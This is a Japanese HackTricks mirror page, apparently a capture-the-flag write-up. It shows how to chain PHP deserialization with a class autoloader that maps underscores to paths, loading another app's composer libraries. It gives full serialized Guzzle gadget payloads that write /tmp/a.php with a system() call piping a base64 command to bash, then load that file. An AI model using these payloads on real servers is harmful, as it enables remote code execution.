mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
8.2 KiB
8.2 KiB
PHP - デシリアライゼーション + オートロードクラス
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝したい または HackTricks をPDFでダウンロードしたい 場合は SUBSCRIPTION PLANS をチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的な NFTs のコレクションを見つける
- 💬 Discordグループ に参加するか、telegramグループ に参加するか、Twitter 🐦 @carlospolopm をフォローする。
- ハッキングトリックを共有するために HackTricks と HackTricks Cloud のGitHubリポジトリにPRを提出する。
最初に、オートローディングクラス を確認する必要があります。
PHPデシリアライゼーション + spl_autoload_register + LFI/Gadget
phpggc
内にガジェットがないライブラリを持つ webアプリ で PHPデシリアライゼーション を見つけた状況にいます。ただし、同じコンテナ内には 脆弱なライブラリを持つ別のcomposer webアプリ がありました。したがって、目標は、他のwebアプリのcomposerローダーを読み込んで、デシリアライゼーションに脆弱なwebアプリからの ガジェットを悪用してそのライブラリを攻撃するガジェットを読み込む ことでした。
手順:
- デシリアライゼーション を見つけ、現在のアプリコードに ガジェットがない
- 次のような
spl_autoload_register
関数を悪用して、.php
拡張子の 任意のローカルファイルを読み込む ことができます - そのために、クラス名が
$name
内にあるデシリアライゼーションを悪用します。シリアル化されたオブジェクト内のクラス名には "/" や "." を使用できませんが、コード は アンダースコア ("_") を スラッシュ ("/") に 置換 しています。したがって、tmp_passwd
のようなクラス名は/tmp/passwd.php
に変換され、コードがそれを読み込もうとします。
ガジェットの例 は:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
{% hint style="success" %}
ファイルアップロードがあり、.php
拡張子のファイルをアップロードできる場合、この機能を直接悪用してすでにRCEを取得できます。
{% endhint %}
私の場合、そのようなものはありませんでしたが、同じコンテナ内に、phpggc
ガジェットに脆弱なライブラリを持つ別のコンポーザーWebページがありました。
- この他のライブラリを読み込むには、まずその他のWebアプリのコンポーザーローダーを読み込む必要があります(現在のアプリケーションのものは他のアプリケーションのライブラリにアクセスできません)。アプリケーションのパスを知っている場合、次のように非常に簡単にこれを達成できます:
O:28:"www_frontend_vendor_autoload":0:{}
(私の場合、コンポーザーローダーは/www/frontend/vendor/autoload.php
にありました) - これで、他のアプリのコンポーザーローダーを読み込むことができるようになりました。次は、使用する**
phpggc
ペイロードを生成する時です。私の場合、Guzzle/FW1
**を使用し、ファイルシステム内に任意のファイルを書き込むことができました。 - 注:生成されたガジェットは機能しませんでした。機能させるためには、そのペイロードの**
chain.php
を変更し、クラスのすべての属性をプライベートからパブリックに設定**する必要がありました。そうしないと、文字列を逆シリアル化した後、作成されたオブジェクトの属性に値が含まれていませんでした。 - これで、他のアプリのコンポーザーローダーを読み込む方法と機能するphpggcペイロードを持っていますが、この作業をガジェットが使用される**ときにローダーが読み込まれるようにするために、同じリクエストでこれを行う必要があります。そのため、次のように両方のオブジェクトを含むシリアル化された配列を送信しました:
- 最初にローダーが読み込まれ、次にペイロードが表示されます
{% code overflow="wrap" %}
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
{% endcode %}
- 今、ファイルを作成して書き込むことができますが、ユーザーはWebサーバー内の任意のフォルダに書き込むことができません。したがって、ペイロードで見られるように、PHPは**
/tmp/a.php
に作成されたbase64を使用してsystem
を呼び出します。その後、他のWebアプリのコンポーザーローダーをロードするために使用した最初のタイプのペイロードを再利用できます。生成された/tmp/a.php
**ファイルをロードするために、デシリアライゼーションガジェットに追加するだけです:
{% code overflow="wrap" %}
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
{% endcode %}
ペイロードの要約
- 同じコンテナ内の別のWebアプリのcomposer autoloadをロード
- phpggcガジェットをロードして、他のWebアプリのライブラリを悪用する(逆シリアル化の脆弱性がある初期のWebアプリにはガジェットが含まれていなかった)
- ガジェットは、悪意のあるコマンドが含まれた/tmp/a.phpにPHPペイロードのファイルを作成する(Webアプリのユーザーは他のWebアプリのどのフォルダにも書き込むことができない)
- ペイロードの最後の部分では、生成されたphpファイルをロードしてコマンドを実行する
この逆シリアル化を2回呼び出す必要がありました。テストでは、最初の呼び出しでは/tmp/a.php
ファイルが作成されましたがロードされず、2回目の呼び出しでは正しくロードされました。